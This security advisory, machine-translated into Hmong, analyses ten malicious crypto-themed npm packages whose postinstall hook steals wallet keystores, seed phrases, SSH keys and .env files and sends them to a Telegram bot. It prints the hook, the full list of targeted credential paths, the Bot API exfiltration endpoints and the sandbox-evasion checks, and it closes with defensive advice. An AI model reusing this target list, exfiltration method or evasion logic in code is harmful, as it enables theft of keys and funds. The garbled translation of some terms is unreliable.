TL; DR
Thaum Lub Rau Hli 9, 2026 ib tus account npm publisher, aicrypto-xzggg, xa khoom lawm kaum pob khoom nrog cov npe crypto- thiab Web3-flavored — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, thiab rau ntxiv.
Txhua pob khoom khiav tib lub payload los ntawm ib qho postinstall nuv. Thaum nruab, nws xyuas seb nws puas khiav hauv CI lossis lub sandbox - yog tias tsis yog, nws nyeem cov keystores hnab nyiaj, cov ntaub ntawv kab lus noob, SSH yuam sij, thiab .env cov ntaub ntawv los ntawm rau lub blockchain ecosystem thiab xa mus rau Telegram bot.
Tus cim qhia ib leeg uas tus neeg tiv thaiv tuaj yeem nrhiav tau tam sim ntawd yog Telegram bot id 8227918239.
Mob hnyav: tseem ceeb heev — kev nyiag ncaj qha ntawm cov yuam sij kos npe thiab cov kab lus rov qab los ntawm cov chaw ua haujlwm tsim tawm.
Kev Tawm Tsam: Nws Ua Haujlwm Li Cas
Cov pob khoom tshaj tawm lawv tus kheej ua cov cuab yeej tsim tawm blockchain. pob.json yog qhov tsawg kawg nkaus thiab taw qhia lub neej teeb tsa ntawm tsab ntawv sau:
{
"name": "farming-tools-12",
"main": "src/index.js",
"scripts": { "postinstall": "node scripts/postinstall.js" },
"keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],
"author": "Alex Smith",
"license": "MIT"
}cov ntawv sau/postinstall.js yog ib kab shim uas thauj cov payload tiag tiag: xav tau(“../src/index.js”). Vim hais tias tom qab kev teeb tsa khiav tau thaum lub sijhawm ntawd npm nruab, tsis tas yuav tsum muaj tus tsim tawm cov lej los ntawm - tso lub pob khoom rau hauv tsob ntoo vam khom txaus los ua tiav nws.
Cov saw hlau tua neeg sab hauv src/index.js yog plaub kauj ruam:
- Kev kuaj xyuas ib puag ncig. Ib qho kev ua haujlwm tiv thaiv txiav txim siab seb tus tswv tsev zoo li tus neeg sawv cev tsim kho lossis lub thawv xuab zeb txheeb xyuas.
- Ncua sijhawm. Kev ua tiav raug ncua tom qab ib qho teem sijhawm tawm ntawm kwv yees li 7.4 vib nas this.
- Kev Sau. Ib daim ntawv teev cov hnab nyiaj, tus yuam sij, thiab cov ntaub ntawv zais cia tau raug taug kev; cov ntaub ntawv uas twb muaj lawm raug teeb tsa ua kab.
- Kev rho tawm. Cov ntaub ntawv teev cia raug xa mus rau Telegram bot, ua ntej los ntawm cov lus luv luv.
Daim ntawv teev cov hom phiaj sau suav nrog rau rau txoj saw ntxiv rau cov lus zais ntawm tus tsim tawm. Txo:
~/.config/solana/id.json ~/.ethereum/keystore
~/.solana/keypair.json ~/.bitcoin/wallet.dat
~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore
~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519
./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt
./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localTag nrho muaj nees nkaum ib txoj kev. Cov ntawv nkag mus rau hauv daim nplaub tshev xws li ~/.ethereum/keystore raug nthuav dav thiab txhua cov ntaub ntawv sab hauv raug teem caij. Qhov kev rho tawm siv Telegram Bot API ncaj qha - ib qho xa lus hu rau tus tswv tsev thiab cov ntaub ntawv luv luv, tom qab ntawd xa Daim Ntawv upload ntau ntu rau txhua cov ntaub ntawv:
ntawv nyeem
POST https://api.telegram.org/bot<token>/sendMessage
POST https://api.telegram.org/bot<token>/sendDocument (one per file)Cov lus qhia luv luv uas cov lej sib sau ua ke pib nrog cov kab lus tiag tiag Tus Neeg Nyiag Crypto, ua raws li lub npe hostname, username, lub npe pob khoom pib, suav cov ntaub ntawv, thiab lub sijhawm.
Muaj dab tsi tshiab ntawm no
Qhov sib txawv tsis yog txoj kev nyiag khoom - Telegram-based exfil los ntawm npm tom qab kev teeb tsa hooks zoo heev. Nws yog qhov rooj vag kev ua tiav. Ua ntej ua ib yam dab tsi, lub payload hu rau ib qho function uas rov qab los thaum tus tswv tsev zoo li CI runner lossis sandbox, thiab rov qab los thaum ntxov thaum nws ua:
ntawv nyeem
isTestEnvironment() is true when ANY of:
- env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set
- env NODE_ENV in {test, development}
- username/USER contains: runner, sandbox, test, docker,
jenkins, gitlab, travis, circleci
- hostname contains: sandbox, test, ci
- hostname matches /^[a-f0-9]{12}$/ (a container-id shape)Lub thawv-id regex yog kab lus tseem ceeb: lub npe hostname 12-hex yog lub neej ntawd Docker muab rau ib qho thawv, yog li ntawd, qhov payload kho "kuv lub npe host zoo li lub thawv Docker" ua ib qho laj thawj kom nyob twj ywm. Ua ke nrog kev ncua sijhawm xya vib nas this, tus qauv tsim nyiam khiav ntawm tus tsim tawm lub chaw ua haujlwm tiag tiag thiab nyob ntsiag to txhua qhov chaw uas zoo li kev tshuaj xyuas tsis siv neeg. Lub rooj vag ntawd yog qhov uas tau txwv cov teeb liab dynamic-analysis thiab khaws cov dej ntws zoo li qub ua pov thawj tseem ceeb.
Ncua sij hawm
Tag nrho kaum tus tau tshwm sim hauv kwv yees li xya caum feeb, sib xws nrog ib qho kev tshaj tawm scripted khiav los ntawm ib tus account.
Cov Cim Qhia Txog Kev Sib Tw
Cov cim qhia txog kev sib txuas lus hauv network thiab tus cwj pwm (tus tswv tsev raug tshem tawm):
Cov pob khoom thiab cov qauv, txhua tus nrog SHA-256 ntawm nws cov src/index.js payload (cov payloads ua haujlwm zoo ib yam thiab txawv tsuas yog nyob rau hauv lub npe pob khoom uas tau muab tso rau hauv, yog li txhua qhov hash yog qhov sib txawv):
Ib lo lus nug yooj yim: nrhiav cov cav teeb tsa thiab cov ntaub ntawv xauv rau ib qho ntawm kaum lub npe, thiab tshawb nrhiav cov tsheb khiav tawm rau kev sib txuas rau Telegram Bot API los ntawm cov neeg tsim khoom lossis cov neeg tsim khoom uas tsis siv nws.
Kev Ua Tus Neeg thiab Kev Coj Tus Cwj Pwm Uas Tau Pom
Tag nrho kaum pob khoom tau luam tawm los ntawm ib tus account, aicrypto-xzggg, uas tus email tau hais yog vipsyria88@gmail[.]comOb qho tib si email thiab qhov txuas tswj qhov chaw tsis tau txheeb xyuas hauv cov ntaub ntawv metadata ntawm kev sau npe, thiab tus account muaj qhov qhab nia tsis zoo heev. Peb tsis tau lees paub leej twg ua haujlwm rau tus account.
Muaj ob yam tseem ceeb uas yuav tsum tau cais tawm ntawm txhua qhov kev thov tus kheej. Ua ntej, qhov pob.json sau nyeem teb Alex Smith ntawm txhua pob khoom, thaum tus account luam tawm tiag tiag yog aicrypto-xzggg; daim teb sau ntawv yog cov ntaub ntawv metadata uas tus kheej tshaj tawm thiab tsis tsim kom muaj tus sau ntawv. Qhov thib ob, cov lej version sib txawv ntau - qee tus tswv cuab zaum ntawm 1.0.0, lwm tus ntawm 4.68.54 — uas yog sib xws nrog kev siv dua ib qho payload hla cov npe pob khoom tshiab dua li khaws cov keeb kwm tso tawm tiag tiag.
Tus cwj pwm zoo ib yam thoob plaws pawg: tib daim ntawv teev txoj kev phiaj xwm, tib Telegram bot id thiab sib tham id, tib lub rooj vag ib puag ncig, tib yam Tus Neeg Nyiag Crypto cim. Qhov kev sib xws ntawd yog qhov txuas muaj zog tshaj plaws ntawm cov pob khoom. Nws yog tib lub cim qhia, tsis yog tus kheej.
Kev Cuam Tshuam, Cov Qauv & Cov Lus Qhia rau Cov Neeg Tiv Thaiv
Qhov kev nthuav tawm yog qhov tseeb. Tus tsim tawm uas teeb tsa ib qho ntawm cov pob no rau ntawm lub chaw ua haujlwm uas tuav lub hnab nyiaj software, cov ntaub ntawv kab lus noob, lossis tus yuam sij SSH muaj cov ntaub ntawv nyeem thiab xa tawm ntawm tus tswv tsev hauv ob peb feeb. Cov kab lus rov qab thiab cov yuam sij kos npe tsis tas sij hawm li txoj kev uas lub cim qhia kev sib tham ua; thaum ib mnemonic.txt los yog Solana id.json tawm hauv lub tshuab, cov nyiaj uas nws tswj hwm yuav muaj kev pheej hmoo kom txog thaum lawv raug tsiv mus. Tib qho kev khiav kuj ntes tau .env cov ntaub ntawv, uas ib txwm nqa cov yuam sij API thiab cov ntaub ntawv pov thawj database.
Ob qho kev hloov pauv nyob tom qab pawg no. Thawj qhov yog kev siv cov npe crypto- thiab Web3-themed txuas ntxiv mus nrhiav cov neeg tuaj saib tshwj xeeb - cov neeg tsim khoom uas khaws cov hnab nyiaj thiab cov yuam sij ntawm tib lub tshuab uas lawv teeb tsa kev vam khom. Qhov thib ob yog kev loj hlob ntawm sandbox evasion hauv kev teeb tsa-lub sijhawm payloads. Lub rooj vag uas tshawb xyuas cov hloov pauv ib puag ncig CI, cov neeg khiav lub npe, thiab Docker container-id hostname duab yog kev siv zog ua kom coj tus cwj pwm txawv hauv qab kev tshuaj xyuas dua li ntawm lub chaw ua haujlwm tiag tiag, thiab nws tsa lub bar rau kev tshawb pom dynamic xwb.
Rau cov neeg tiv thaiv:
Nruab nrog cov ntawv sau tsis ua haujlwm los ntawm lub neej ntawd. npm nruab - tsis quav ntsej-scripts, los yog teeb tsa tsis quav ntsej cov ntawv sau = tseeb in .npmrc, tiv thaiv tom qab kev teeb tsa kev ua tiav; pab kom cov ntawv sau tsuas yog rau cov kev vam khom tshwj xeeb uas xav tau lawv tiag tiag.
Khaws cov hnab nyiaj thiab cov yuam sij kos npe kom deb ntawm cov tshuab tsim thiab tsim kho. Siv lub hnab nyiaj kho vajtse lossis lub chaw tuav pov hwm kos npe tshwj xeeb, tsis muaj kev vam khom.
kho .env, cov chaw khaws cov keystore, thiab cov ntaub ntawv seed-phrase ua cov khoom muaj nqis. Lawv yuav tsum tsis txhob zaum hauv daim nplaub tshev uas kuj yog ib qho npm nruab tsob ntoo ua haujlwm.
Nrhiav kev sib txuas mus rau Telegram Bot API los ntawm CI thiab cov neeg tsim khoom. Feem ntau cov chaw tsim khoom yeej tsis hu nws; ib qho uas tam sim ntawd hu, tom qab kev teeb tsa, tsim nyog tshawb xyuas.
Pin thiab tshuaj xyuas qhov kev vam khom. Ib pob khoom tshiab nrog lub npe crypto dav dav, ib tom qab kev teeb tsa hook, thiab tsis muaj qhov txuas repository yuav tsum tau saib ua ntej nws nkag mus rau hauv lockfile.
Cov kab lus tsis pub siv lub thawv-id kuj yog ib qho kev ceeb toom rau cov kws tshuaj ntsuam xyuas: ib qho payload uas nyob twj ywm hauv lub sandbox tsis yog qhov zoo, nws yog kev xaiv. Kev tshuaj xyuas static ntawm txoj kev teeb tsa tseem yog txoj hauv kev txhim khu kev qha los saib seb qhov kev ua haujlwm dynamic yuav tsis pom.
References
npm nruab cov ntaub ntawv - cov ntawv sau txog lub neej thiab –tsis quav ntsej cov ntawv sau— siv rau kev kaw qhov kev teeb tsa tsis siv neeg hooks.
